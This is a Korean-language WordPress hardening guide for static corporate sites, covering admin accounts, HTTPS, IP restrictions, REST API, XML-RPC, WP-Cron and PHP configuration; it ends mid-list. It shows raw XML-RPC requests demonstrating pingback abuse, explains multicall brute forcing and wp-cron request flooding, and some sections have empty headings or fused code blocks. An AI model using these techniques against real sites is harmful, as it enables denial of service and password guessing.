
WordPress 설치 보안 강화를 위한 종합 가이드: 관리자 사용자 변경, HTTPS 적용, 플러그인 보안, 파일 권한, 정적 기업 사이트를 위한 서버 구성을 다룹니다.
이 문서는 사용자와 상호작용하지 않는 WordPress로 개발된 웹 애플리케이션에 적합한 목적으로 작성되었습니다. 주로 기업 브랜드 페이지, 다양한 정적 뷰, 채용 페이지 및 유사한 사이트를 대상으로 합니다.
오픈 커뮤니티와 같이 사용자가 등록하고 자유롭게 사이트를 사용하는 웹사이트의 경우 이 문서의 일부 항목이 적용되지 않을 수 있습니다. 이 점을 염두에 두고 읽어주시기 바랍니다.
이 문서는 WordPress 보안에 필요한 모든 내용을 포함하지 않습니다.
그러나 이 가이드를 기반으로 보안 위험 평가 및 취약점 대응이 가능한 수준의 일반적이고 상세한 정보를 포함하고 있습니다.
도움이 되셨다면 추가 개선을 위해 "star"🌟를 눌러주세요.
WordPress를 설치할 때 설정 과정에서 변경하지 않으면 기본 관리자 사용자 이름은 "admin"입니다. "admin" 계정 이름은 널리 알려져 있으므로 다른 이름으로 변경해야 합니다. 관리자 사용자 이름으로 계속 "admin"을 사용하면 공격자가 "admin"을 사용하여 무차별 대입 공격을 시도하여 WordPress 사이트에 접근할 수 있습니다.
공격자가 WordPress 관리자 계정에 접근하면 웹사이트에 대한 완전한 제어권을 갖게 됩니다. 기본 WordPress 관리자 사용자 이름은 다른 이름으로 변경되어야 합니다.
감사:
조치:
참고:
기본적으로 WordPress에는 "관리자", "편집자", "작성자", "기여자", "구독자"의 다섯 가지 사용자 역할이 있습니다.
이러한 역할을 통해 적절한 권한을 할당하여 사용자가 웹사이트에서 수행할 수 있는 작업을 제어할 수 있습니다. 사용자 역할과 권한이 적절히 관리되지 않으면 사용자가 불필요하게 중요한 기능에 접근하여 심각한 보안 위험을 초래할 수 있습니다.
감사:
조치:
참고:
WordPress에는 내장 사용자 등록 기능이 포함되어 있습니다. 이 기능은 기본적으로 비활성화되어 있지만 관리자가 활성화할 수 있습니다.
이 기능이 활성화되면 누구나 등록하고 잠재적으로 WordPress 관리자 대시보드에 접근할 수 있어 보안 문제가 발생할 수 있습니다. 오픈 커뮤니티로 운영되지 않는 대부분의 웹사이트에서는 사용자 등록 기능이 필요하지 않으므로 비활성화된 상태로 유지해야 합니다.
감사:
웹 브라우저 사용

curl 사용
(response) HTTP/1.1 302 Moved Temporarily cache-control: no-cache, no-store, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 server: Apache content-length: 0 ... location: https://yourwordpress.com/wp-login.php?registration=disabled
**조치:**
- 사용자 등록이 활성화되어 있으면 비활성화합니다.
- '누구나 등록 가능' 체크 해제

## 4. 플러그인 파일 편집기 비활성화 확인
공격자가 WordPress 관리자 계정에 침입하면 웹사이트를 완전히 제어할 수 있습니다.
내장된 "편집기" 기능을 통해 테마 및 플러그인의 코딩을 편집하고, 악성 스크립트를 업로드하고, 사이트를 훼손하고, 사용자에게 스팸을 보내는 등의 작업을 수행할 수 있습니다.
이 편집기를 통한 일반적인 해킹에는 SQL 인젝션, SEO 스팸 해킹, 일본어 SEO 스팸이 있습니다.
**감사:**
- 파일 편집기가 비활성화되어 있는지 확인합니다.
- 모양 > 편집기 또는 플러그인 > 플러그인 편집기를 통해 편집기에 접근할 수 있는지 확인합니다.
**조치:**
- 파일 편집기가 활성화되어 있으면 다음 단계를 따라 비활성화합니다.
1. 파일 관리자 또는 FTP를 사용하여 wp-config.php 파일에 접근합니다.
2. 편집을 위해 wp-config.php 파일을 엽니다.
3. 파일 하단으로 스크롤합니다(기본 wp-config.php를 사용하는 경우).
4. 다음 줄을 찾습니다.
`
/* That’s all, stop editing! Happy publishing. */
`
5. 이 줄 위에 다음 코드를 추가합니다.
`
define('DISALLOW_FILE_EDIT', true);
`
6. 변경 사항을 저장하고 편집기를 닫습니다.
7. WordPress 대시보드로 돌아가 편집기 옵션이 더 이상 표시되지 않는지 확인합니다.
## 5. 사용하지 않는 불필요한 플러그인이 비활성화되었는지 확인
WordPress의 많은 취약점은 플러그인 보안 문제에서 비롯됩니다.
플러그인은 오픈소스이므로 공격자가 취약점을 찾아 악용하기 쉽습니다.
사용 중인 플러그인을 최신 상태로 유지하고 사용하지 않는 플러그인을 비활성화하여 잠재적인 악용을 방지하는 것이 중요합니다.
**감사:**
- 사용하지 않는 불필요한 플러그인이 비활성화되었는지 확인합니다.
- 사용하지 않고 불필요한 플러그인이 비활성화되었는지 확인합니다.
**조치:**
- 다음 단계에 따라 사용하지 않는 불필요한 플러그인을 비활성화합니다.
**플러그인 체크 - PCP 사용:**
- PCP: https://wordpress.org/plugins/plugin-check
1. 플러그인 체크(PCP) 설치 및 활성화:
- WordPress 관리자 대시보드로 이동합니다.
- 플러그인 > 새로 추가로 이동합니다.
- “Plugin Check”를 검색하여 설치하고 활성화합니다.
2. 플러그인 검사 실행:
- WordPress 대시보드에서 Plugin Check 메뉴로 이동합니다.
- 검사할 플러그인을 선택하고 스캔을 실행합니다.
3. 스캔 결과 분석:
- PCP는 플러그인의 코드를 분석하고 다음을 포함한 보고서를 제공합니다:
- 코드 표준 준수: 플러그인이 WordPress 코딩 표준을 얼마나 잘 준수하는지.
- 보안 문제: 잠재적인 취약점 또는 악성 코드.
- 성능 문제: 웹사이트 성능에 미치는 영향.
- 호환성 문제: 플러그인이 다른 플러그인 및 테마와 호환되는지 여부.
4. 문제가 있는 플러그인 식별:
- 보고서에서 심각한 보안 취약점, 악성 코드 또는 다수의 코딩 표준 위반이 강조되면 해당 플러그인은 '의심스러운' 것입니다.
- 불필요한 외부 요청을 하거나 과도한 데이터베이스 쿼리를 실행하는 플러그인에 주의하십시오.
5. 문제 해결:
- 업데이트하거나 플러그인 페이지에서 문제를 찾아 해결하십시오.
- 심각한 보안 문제가 있는 플러그인은 사용하지 마십시오. 필요한 경우 대체 플러그인을 찾으십시오.
**플러그인 관리:**
1. 플러그인 선택:
- 공식 저장소 사용, 리뷰 및 평점 확인, 개발자 신뢰성 확인
- 알 수 없거나 확인되지 않은 플러그인을 사용하지 마십시오.
2. 정기적인 업데이트
- 최신 보안 패치를 적용하려면 플러그인을 최신 상태로 유지하십시오.
3. 사용하지 않는 플러그인 비활성화 및 삭제
- 비활성 플러그인도 보안 위험이 될 수 있으므로 사용하지 않으면 제거하십시오.
- 플러그인 최소화: 필수 플러그인만 사용하십시오.
## 6. WordPress 관리자를 포함하여 WordPress가 HTTPS 전용으로 구성되었는지 확인
오늘날 대부분의 웹사이트는 SSL(HTTPS)을 통해 운영되도록 구성됩니다.
그러나 일부 웹 서버는 여전히 HTTP와 HTTPS 연결을 모두 처리하도록 잘못 설정될 수 있습니다.
이로 인해 두 프로토콜을 통해 WordPress에 접근할 수 있어 보안 위험이 발생합니다. WordPress 관리자를 포함하여 WordPress는 HTTPS만 사용하도록 강제해야 합니다.
**감사:**
- WordPress 관리자를 포함하여 HTTPS로만 접근 가능하도록 구성되었는지 확인합니다.
- 웹 서버의 VirtualHost 구성을 확인하여 HTTP VirtualHost가 설정되지 않았는지 확인합니다.
**조치:**
- HTTP 접근이 가능한 경우 먼저 웹 서버 설정을 검토하고 수정합니다.
- 서버에 HTTP VirtualHost가 있는 경우 HTTPS로 리디렉션하거나 HTTP VirtualHost를 삭제합니다.
- 필요한 경우 "FORCE_SSL_ADMIN" 기능을 활성화하여 WordPress 관리자에 HTTPS 접근을 강제합니다.
**FORCE_SSL_ADMIN 활성화 단계:**
1. 파일 관리자 또는 FTP를 사용하여 wp-config.php 파일에 접근합니다.
2. 편집을 위해 wp-config.php 파일을 엽니다.
3. 파일 하단으로 스크롤합니다(기본 wp-config.php를 사용하는 경우).
4. 다음 줄을 찾습니다.
`
/* That’s all, stop editing! Happy publishing. */
`
5. 이 줄 위에 다음 코드를 추가합니다.
`
define('FORCE_SSL_ADMIN', true);`
`
6. 변경 사항을 저장하고 편집기를 닫습니다.
WordPress 대시보드로 돌아가 다시 로그인하여 WordPress 관리자가 HTTPS로만 접근 가능한지 확인합니다.
**웹 서버에서 HTTP를 HTTPS로 리디렉션:**
1. Apache:
```
<VirtualHost *:80>
ServerName yourwordpress.com
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>
```
2. Nginx:
```
server {
listen 80;
server_name yourwordpress.com;
location / {
return 301 https://$host$request_uri;
}
}
```
WordPress와 WordPress 관리자가 HTTPS로만 접근 가능하도록 함으로써 웹사이트의 보안을 크게 강화하여 데이터를 보호하고 무단 접근을 방지할 수 있습니다.
## 7. IP 접근 제한(ACL)이 적용되었는지 확인
IP 접근 제한이 적용되었는지 확인합니다.
WordPress를 안전하게 운영하려면 WordPress 관리자를 포함한 특정 URL에 IP 접근 제한을 적용하여 원치 않는 사용자, 컴퓨터 및 봇의 접근을 차단하는 것이 필수적입니다. 여기에는 허용된 IP 주소(예: 관리자 IP)에서만 접근을 허용하는 것이 포함됩니다. 또한 공격 표면을 최소화하기 위해 사용하지 않는 기능을 비활성화해야 합니다.
보호할 URL에는 WordPress 관리자, 사용자 등록(wp-signup.php), JSON REST API 및 XML-RPC 기능이 포함됩니다.
이 보안 가이드는 사용자 상호 작용이 적고 콘텐츠가 주로 표시되는 회사 블로그, 채용 페이지, 브랜드 사이트, 프로모션 사이트와 같은 서비스 지향 웹사이트를 대상으로 합니다.
IP 접근 제한을 구현하면 무단 접근의 위험을 크게 줄이고 웹사이트의 전반적인 보안을 강화할 수 있습니다.
### 7.1. WordPress 관리자에 IP 접근 제한이 적용되었는지 확인합니다.
WordPress 관리자 접근 경로는 wp-login.php 또는 /wp-admin 형태로 고정되어 있어 권한이 없는 사용자가 쉽게 접근할 수 있습니다.
관리자 페이지에 대한 무단 접근을 방지하기 위해 IP 접근 제한이 적용되었는지 확인합니다.
**감사:**
- WordPress 관리자에 IP 접근 제한이 적용되었는지 확인합니다.
- 대부분의 경우 이는 웹 서버(Apache, Nginx)에서 구성됩니다.
**조치:**
- IP 접근 제한이 적용되지 않은 경우 구현합니다.
- 다음은 Apache 및 Nginx 웹 서버를 사용하여 IP 접근 제한을 적용하는 방법입니다.
**WordPress 관리자에 IP 접근 제한 적용:**
- /wp-admin, wp-login.php
1. Apache:
```
# Files Directive
<Files "wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Files>
# FilesMatch Directive
<FilesMatch "^wp-login\.php$">
Require all granted
</FilesMatch>
# Directory, Files Mixing Directive
<Directory /www/vhosts/yourwordpress>
Require all granted
AllowOverride None
<Files "wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Files>
</Directory>
# Location Directive
<Location "/wp-admin">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
<Location "/wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
```
2. Nginx:
```
location /wp-admin {
allow 10.10.77.49; # Replace with your IP address
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Replace with your IP address
deny all;
}
```
### 7.2. IP 접근 제한 또는 JSON REST API 기능 비활성화
WordPress는 두 가지 REST 기능(xmlrpc, json rest api)을 제공하며 WordPress 설치 시 기본적으로 활성화됩니다.
REST API는 WordPress 데이터 유형에 대한 엔드포인트를 제공하여 게시물이나 데이터 쿼리, 리소스 수정, 편집, 삭제 등의 작업을 위해 사이트와 원격으로 상호 작용할 수 있습니다.
대부분의 WordPress에서 REST API 기능은 필수적이지 않습니다.
활성화하면 WordPress가 DDoS 공격에 노출될 수 있으며 리소스 소비 및 사이트 속도 저하를 초래할 수 있습니다.
**감사:**
- JSON REST API 기능이 활성화되어 있는지 확인합니다. (기본값: 활성화됨)```
# curl -i -k https://yourwordpress.com/wp-json
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache
{"name":"mywordress","description":"".......................
수정 방법:
"Disable REST API" 플러그인 설치 및 활성화:
JSON REST API에 대한 IP 접근 제한:
<Location "/wp-json">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
location ~ ^/wp-json/ {
allow 10.10.77.49; # Replace with your allowed IP address
deny all;
}
JSON REST API와 마찬가지로, 대부분의 워드프레스 설치에서 필요하지 않으므로 XML-RPC API를 비활성화하는 것이 좋습니다.
REST API가 필요하다면 JSON REST API를 대신 사용하는 것이 권장됩니다.
XML-RPC에는 두 가지 주요 약점이 있습니다:
무차별 대입 공격:
공격자는 xmlrpc.php를 사용하여 가능한 많은 사용자 이름/비밀번호 조합으로 워드프레스 로그인을 시도합니다.
xmlrpc.php 내의 한 메서드는 공격자가 단일 명령(system.multicall)을 사용하여 수백 개의 비밀번호를 추측할 수 있게 합니다.
핑백을 통한 서비스 거부 공격:
2013년에 공격자는 약 2500개 워드프레스 사이트의 xmlrpc.php를 통해 핑백 요청을 보냈습니다.
이는 공격자에게 사실상 무제한의 IP 주소 집합을 제공하여 1억 개 이상의 워드프레스 사이트 네트워크에 걸쳐 서비스 거부 공격을 분산시킬 수 있으며, 해당 사이트를 손상시킬 필요가 없습니다.
XML-RPC가 활성화되어 있으면 여전히 이러한 공격에 악용될 수 있습니다.
감사:
(response) HTTP/1.1 405 Method Not Allowed Date: Mon, 25 Jun 2018 08:30:24 GMT Server: Apache Allow: POST Content-Length: 42 Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
**조치 방법:**
- 플러그인을 사용하여 XML-RPC 기능 비활성화
**"Disable XML-RPC-API" 플러그인 설치 및 활성화:**
1. WordPress 관리자 대시보드로 이동합니다.
2. 플러그인 > 새로 추가로 이동합니다.
3. "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)"를 검색하여 설치하고 활성화합니다.
4. XML-RPC-API가 비활성화되었습니다.
**XML-RPC 핑백 공격에 관하여:**
1. XML-RPC가 활성화되었는지 확인
```
# curl -i -k https://yourwordpress.com/xmlrpc.php
(response)
HTTP/1.1 405 Method Not Allowed
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
```
2. 사용 가능한 XML-RPC 메서드 검색
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 135
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
...
Server: Apache
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
```
3. 핑백 실행
- 핑백 공격의 성공 여부와 구체적인 확인 방법은 설명되지 않았습니다.
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 303
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>call-back url for pingback result</string></value>
</param>
<param>
<value><string>https://yourwordpress.com/</string></value>
</param>
</params>
</methodCall>
(response)
HTTP/1.1 200 OK
...
Server: Apache
Content-Length: 370
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
```
### 7.4. WP-Cron 비활성화 또는 기능 제한
WordPress에서 WP-Cron(wp-cron.php)은 예약된 게시물 발행, 플러그인/테마 업데이트 확인, 알림 이메일 전송 등의 작업을 자동화하는 데 사용됩니다.
WP-Cron은 기본적으로 페이지가 로드될 때마다 예약된 작업 목록을 확인하는 방식으로 작동합니다.
문제는 페이지 로딩이 많을 때 발생합니다.
WP-Cron 작업이 각 페이지 로드 시 수행되므로 반복적인 접근이 많아지면 그에 따라 WP-Cron 호출이 증가합니다. 결과적으로 시스템 리소스가 부족해져 사이트 속도가 느려지거나 중단될 수 있습니다.
이는 실제로 발생하는 현상이며, WordPress를 대상으로 한 취약점 공격에서 자주 악용됩니다.
WP-Cron이 필요하지 않다면 비활성화하는 것이 좋습니다.
필요하다면 로컬 호스트로만 접근을 제한하십시오.
**감사:**
- WP-Cron이 활성화되었는지 확인합니다. (기본값: 활성화)```
# curl -i -k https://yourwordpress.com/wp-cron.php
(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
해결 방법:
WP-Cron 비활성화 단계:
/* That’s all, stop editing! Happy publishing. */define('DISABLE_WP_CRON', true);# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
"ALTERNATE_WP_CRON" 활성화 단계:
/* That’s all, stop editing! Happy publishing. */define( 'ALTERNATE_WP_CRON', true );# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
예시: 시스템 cron(crontab) 사용:
.. ... */10 * * * * curl http://yourwordpress.com/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/yourwordpress.com/htdocs; php /var/www/yourwordpress.com/htdocs/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/example.com/htdocs; wp cron event run --due-now > /dev/null 2>&1
**wp-cron.php를 사용한 DoS 공격 수행에 관하여:**
- wp-cron.php에 과도한 양의 요청을 전송합니다.
- 이로 인해 스크립트가 과도한 리소스를 소비하여 결국 서버가 과부하됩니다.


## 8. 보안 WordPress를 위한 시스템 구성
WordPress의 안전한 운영을 위해서는 웹 서버의 적절한 구성과 백엔드 구성 요소의 강화가 필요합니다.
다음은 확인 및 구현해야 할 몇 가지 필수 항목입니다.
### 8.1. EOL(수명 종료)이 아닌 WordPress 및 PHP 버전 사용 확인
보안 WordPress 설치를 유지하려면 수명 종료(EOL)가 아닌 WordPress 및 PHP 버전을 사용하는 것이 필수적입니다.
EOL 버전은 더 이상 지원되지 않으며 보안 업데이트를 받지 못하므로 웹사이트가 패치되지 않은 보안 문제에 취약해집니다.
지원되는 버전을 사용하면 발견된 취약점이 신속히 해결되어 잠재적인 공격으로부터 사이트를 보호할 수 있습니다.
WordPress 및 PHP 버전을 확인하고 업데이트하려면 다음을 수행해야 합니다.
**감사:**
- 현재 WordPress 및 PHP 버전이 EOL이 아닌지 확인합니다.
**수정:**
- EOL이 아닌 WordPress 및 PHP 버전을 설치하고 실행합니다.
- 2024년 5월 기준 지원되는 WordPress 버전은 6.5 이상입니다. 지원되는 PHP 버전은 8.1, 8.2, 8.3입니다.
- 웹 호스팅 서비스를 사용하는 경우 버전 전환 기능을 활용하여 WordPress와 PHP 모두 지원되는 버전을 실행하고 있는지 확인하십시오.
**2024년 5월 기준 EOL 현황**
1. PHP: [supported-versions](https://www.php.net/supported-versions.php)
- 현재 지원되는 버전: 8.1, 8.2, 8.3
2. WordPress: [current-releases](https://wordpress.org/download/releases/)
- 현재 지원되는 버전: 6.5 시리즈
**예: RockyLinux 8.5의 PHP**
- RockyLinux 8.5에서 사용 가능한 기본 PHP 버전은 7.2, 7.3, 7.4입니다.
```
# dnf module list php
Rocky Linux 8 - AppStream
Name Stream Profiles Summary
php 7.2 [d] common [d], devel, minimal PHP scripting language
php 7.3 common [d], devel, minimal PHP scripting language
php 7.4 common [d], devel, minimal PHP scripting language
Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
# dnf module enable php:7.4
==============================================================================================
Package Architecture Version Repository Size
==============================================================================================
Enabling module streams:
httpd 2.4
php 7.4
Transaction Summary
==============================================================================================
Is this ok [y/N]: y
Complete!
```
- PHP 7은 이미 수명 종료(EOL)되었습니다. PHP 8로 업그레이드하는 것이 좋습니다.
- PHP 8은 REMI 저장소에서 설치할 수 있습니다.
- REMI를 사용하여 PHP 8.2를 활성화하고 설치하는 방법의 예는 다음과 같습니다.
```
# Install PHP 8.2 in Rocky Linux 8
# dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
# dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
# dnf -y install yum-utils
# dnf module reset php
# dnf module install php:remi-8.2
Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing group/module packages:
php-cli x86_64 8.2.0-1.el8.remi remi-modular 5.4 M
php-common x86_64 8.2.0-1.el8.remi remi-modular 1.3 M
php-fpm x86_64 8.2.0-1.el8.remi remi-modular 1.9 M
php-mbstring x86_64 8.2.0-1.el8.remi remi-modular 574 k
php-xml x86_64 8.2.0-1.el8.remi remi-modular 254 k
Installing dependencies:
httpd-filesystem noarch 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 41 k
libxslt x86_64 1.1.32-6.el8 baseos 249 k
oniguruma5php x86_64 6.9.8-1.el8.remi remi-safe 212 k
Installing weak dependencies:
nginx-filesystem noarch 1:1.14.1-9.module+el8.4.0+542+81547229 appstream 23 k
Installing module profiles:
php/common
Enabling module streams:
httpd 2.4
nginx 1.14
php remi-8.2
Transaction Summary
=======================================================================================================================================
Install 9 Packages
# dnf update
# dnf install php
Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing:
php x86_64 8.2.0-1.el8.remi remi-modular 1.8 M
Installing dependencies:
apr x86_64 1.6.3-12.el8 appstream 128 k
apr-util x86_64 1.6.1-6.el8.1 appstream 104 k
httpd x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 1.4 M
httpd-tools x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 108 k
libsodium x86_64 1.0.18-2.el8 epel 162 k
mailcap noarch 2.1.48-3.el8 baseos 38 k
mod_http2 x86_64 1.15.7-5.module+el8.6.0+823+f143cee1 appstream 153 k
rocky-logos-httpd noarch 86.3-1.el8 baseos 24 k
Installing weak dependencies:
apr-util-bdb x86_64 1.6.1-6.el8.1 appstream 23 k
apr-util-openssl x86_64 1.6.1-6.el8.1 appstream 26 k
php-opcache x86_64 8.2.0-1.el8.remi remi-modular 633 k
php-pdo x86_64 8.2.0-1.el8.remi remi-modular 166 k
php-sodium x86_64 8.2.0-1.el8.remi remi-modular 105 k
Transaction Summary
=======================================================================================================================================
Install 14 Packages
Total download size: 4.8 M
Installed size: 14 M
Is this ok [y/N]: y
# php -v
PHP 8.2.0 (cli) (built: Dec 6 2022 14:26:47) (NTS gcc x86_64)
Copyright (c) The PHP Group
Zend Engine v4.2.0, Copyright (c) Zend Technologies
with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
```
**참고:**
- REMI 저장소에서 PHP 설치에 대한 자세한 지침은 다음을 참조하십시오: [rpms.remirepo.net](https://rpms.remirepo.net/)
- WordPress와 PHP 호환성에 관한 문서: [php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)
### 8.2. WordPress에 필요한 PHP 확장만 활성화되어 있는지 확인
WordPress 사이트에 필요한 PHP 확장만 활성화되어 있는지 확인하십시오.
불필요한 확장은 웹사이트의 공격 표면을 증가시키고 WordPress를 보안 취약점에 노출시킬 수 있습니다.
필요한 확장만 활성화하면 잠재적 위험을 최소화하고 전반적인 보안을 향상시킬 수 있습니다.
아래는 WordPress 사이트가 제대로 작동하는 데 필요한 확장입니다. **(보안 강화 목적에 맞는 목록이 아닙니다.)**
| 확장 | 설명 |
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json | 다른 서버와의 통신 및 JSON 형식 데이터 처리에 사용됩니다. |
| mysqli | 데이터베이스 상호 작용을 위해 MySQL에 연결합니다. |
| curl | 원격 요청 작업을 수행합니다. |
| dom | 텍스트 위젯 콘텐츠 검증 및 IIS7+ 자동 구성에 사용됩니다. |
| exif | 이미지에 저장된 메타데이터 작업에 사용됩니다. |
| fileinfo | 파일 업로드의 mimetype 감지에 사용됩니다. |
| hash | 비밀번호 및 업데이트 패키지를 포함한 해싱에 사용됩니다. |
| igbinary | 표준 PHP 직렬화 도구의 대체품으로 성능을 향상시킵니다. |
| imagick | 미디어 업로드를 위한 더 나은 이미지 품질을 제공합니다. 자세한 내용은 WP_Image_Editor를 참조하십시오. Ghost Script도 사용 가능한 경우 스마트 이미지 크기 조정(작은 이미지용) 및 PDF 썸네일 지원을 제공합니다. |
| intl | 형식 지정, 변환, 인코딩 변환, 달력 작업, 정렬, 텍스트 경계 찾기, 로케일 식별자, 시간대 및 그래핀 작업 등 로케일 인식 작업을 가능하게 합니다. |
| mbstring | UTF8 텍스트를 적절히 처리하는 데 사용됩니다. |
| openssl | 다른 호스트로의 SSL 기반 연결에 사용됩니다. |
| pcre | 코드 검색에서 패턴 일치 성능을 향상시킵니다. |
| xml | 타사 사이트의 XML 파싱 등에 사용됩니다. |
| zip | 플러그인, 테마 및 WordPress 업데이트 패키지의 압축 해제에 사용됩니다. |
| bc | 2147483647 소수 자릿수까지 모든 크기와 정밀도의 숫자를 지원하는 임의 정밀도 수학을 위한 확장입니다. |
| filter | 사용자 입력을 안전하게 필터링하는 데 사용됩니다. |
| image | Imagick이 설치되지 않은 경우 GD 그래픽 라이브러리가 이미지 조작을 위한 기능적으로 제한된 대체재로 사용됩니다. |
| iconv | 문자 집합 간 변환에 사용됩니다. |
| shmop | PHP가 Unix 공유 메모리 세그먼트를 읽고, 쓰고, 생성하고, 삭제할 수 있도록 하는 사용하기 쉬운 함수 집합입니다. |
| simplexml | XML 파싱에 사용됩니다. |
| sodium | 서명을 검증하고 안전한 임의 바이트를 제공합니다. |
| xmlreader | XML 파싱에 사용됩니다. |
| zlib | Gzip 압축 및 압축 해제. |
필수 확장은 다음에서 확인할 수 있습니다: [WordPress Hosting Handbook: PHP Extensions](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)
**감사:**
- WordPress 사이트에 필요한 PHP 확장만 활성화되어 있는지 확인합니다.
**수정:**
- 불필요한 확장을 제거하십시오. 때로는 사이트에 필요하지 않은 확장이 플러그인과 함께 설치될 수 있습니다.
- 현재 활성화된 PHP 확장을 확인하려면 **php.ini** 파일을 검토하거나 **phpinfo()** 함수를 사용하여 모든 활성 확장을 나열할 수 있습니다.

- 필요하지 않은 특정 확장은 잠재적 보안 문제를 방지하기 위해 비활성화해야 합니다.
- 예를 들어, exif, fileinfo, imap, soap, pdo_sqlite, opcache와 같은 확장은 적절히 사용되지 않고 활성화된 상태로 남겨질 경우 악용될 수 있습니다.
- 웹 호스팅 서비스를 사용하는 경우 많은 제공업체에서 PHP 확장 활성화 또는 비활성화를 포함한 PHP 설정을 변경할 수 있는 사용하기 쉬운 인터페이스를 제공합니다. 이러한 기능을 사용하여 확장을 효과적으로 관리할 수 있습니다.
### 8.3. 파일 업로드 기능이 있는 플러그인의 보안 확인
파일 업로드 기능이 있는 플러그인은 적절히 보호되지 않으면 심각한 보안 위험이 될 수 있습니다. 파일 업로드 기능의 취약점으로 인해 공격자가 웹 셸을 업로드하여 전체 시스템을 손상시킬 수 있습니다. 따라서 모든 파일 업로드 기능에는 유효성 검사 및 삭제 메커니즘이 포함되어야 합니다.
이것이 중요한 이유는 무엇입니까?
1. 확장자 검증:
- 서버는 허용된 유형의 화이트리스트에 대해 파일 확장자를 검증하여 악성 파일 업로드를 방지해야 합니다.
2. MIME 유형 확인:
- 파일의 MIME 유형이 예상 유형과 일치하는지 확인하여 추가 보안 계층을 제공해야 합니다.
3. 업로드 경로 제한:
- 검증 없이 업로드된 파일에 직접 액세스할 수 있는 노출된 경로가 없도록 해야 합니다.
파일 업로드 취약점은 공격자가 실행 코드를 업로드하고 임의 명령을 실행할 수 있는 직접적인 경로를 제공하기 때문에 특히 위험합니다. 파일 업로드 취약점은 SQL 인젝션과 같은 다른 보안 결함에 비해 식별 및 악용이 더 쉬운 경우가 많습니다.
**감사:**
- WordPress 사이트에서 파일 업로드 기능이 있는 플러그인을 식별합니다.
- 이러한 플러그인이 업로드된 파일에 대해 확장자 및 MIME 유형 검증을 포함한 적절한 검증 검사를 구현하는지 확인합니다.
**수정:**
- 파일 업로드 기능이 있는 플러그인에 적절한 검증이 없는 경우 보안을 강화하거나 플러그인을 제거하십시오.
- 다음은 파일 업로드 기능이 있는 인기 WordPress 플러그인과 파일 검증 처리 방법의 예입니다.
**예: 파일 업로드 처리가 있는 인기 WordPress 플러그인**
1. Contact Form 7
